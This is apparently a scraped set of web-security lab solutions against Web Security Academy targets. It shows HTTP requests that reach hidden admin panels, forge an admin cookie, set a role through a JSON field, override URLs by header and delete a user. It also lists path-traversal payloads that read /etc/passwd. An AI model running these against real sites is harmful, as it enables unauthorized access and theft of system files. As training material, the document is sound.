π¬Vulnerability Labs
GET /robots.txt
# Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45
User-agent: *
Disallow: /administrator-panel




































Last updated
GET /robots.txt
# Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 45
User-agent: *
Disallow: /administrator-panel




































Last updated
GET /administrator-panelGET /administrator-panel/delete?username=carlos
# User deletedGET /login<script>
var isAdmin = false;
if (isAdmin) {
var topLinksTag = document.getElementsByClassName("top-links")[0];
var adminPanelTag = document.createElement('a');
adminPanelTag.setAttribute('href', '/admin-ge6wcp');
adminPanelTag.innerText = 'Admin panel';
topLinksTag.append(adminPanelTag);
var pTag = document.createElement('p');
pTag.innerText = '|';
topLinksTag.appendChild(pTag);
}
</script>GET /admin-ge6wcpGET /admin-ge6wcp/delete?username=carlos
# User deletedPOST /login
# The response sets the cookieGET /admin# Request
GET /admin/delete?username=carlos HTTP/2
Host: 0a060030038bec7c8214d8b600eb00c1.web-security-academy.net
Cookie: Admin=true; session=dxgdmGbBWv76i4PMyyDoYYW666smj1er
...POST /login HTTP/2
...
username=wiener&password=peterPOST /my-account/change-emailPOST /my-account/change-email HTTP/2
Host: 0a2200c20471b32f842c9ada00f700c3.web-security-academy.net
...
{"email":"[email protected]",
"roleid": 2
}GET /adminGET / HTTP/2
X-Original-Url: /invalid
...GET / HTTP/2
X-Original-Url: /admin
...GET /?username=carlos HTTP/2
X-Original-Url: /admin/delete
...GET /admin-roles?username=wiener&action=upgrade HTTP/2GET /my-account?id=carlos HTTP/2userId=fe62ab1c-3eb7-47b8-862b-1c1c47a5490cGET /my-account?id=fe62ab1c-3eb7-47b8-862b-1c1c47a5490c HTTP/2GET /my-account?id=carlos HTTP/2
# Response
HTTP/2 302 Found# From this
GET /image?filename=5.jpg
# To this
GET /image?filename=../../../etc/passwdGET /image?filename=21.jpg
GET /image?filename=../../../etc/passwd # 400 Bad Request
# Try with absolute path
GET /image?filename=/etc/passwdGET /image?filename=....//....//....//etc/passwd..%2f..%2f..%2fetc%2fpasswd # 400 Bad Request - URL-encoded once
# Doubl URL-Encoded
GET /image?filename=..%252f..%252f..%252fetc%252fpasswdGET /image?filename=/var/www/images/../../../etc/passwd
# or (better)
GET /image?filename=%2fvar%2fwww%2fimages%2f..%2f..%2f..%2fetc%2fpasswdGET /image?filename=../../../etc/passwd%00.png
# URL-encoded
GET /image?filename=..%2f..%2f..%2fetc%2fpasswd%00.png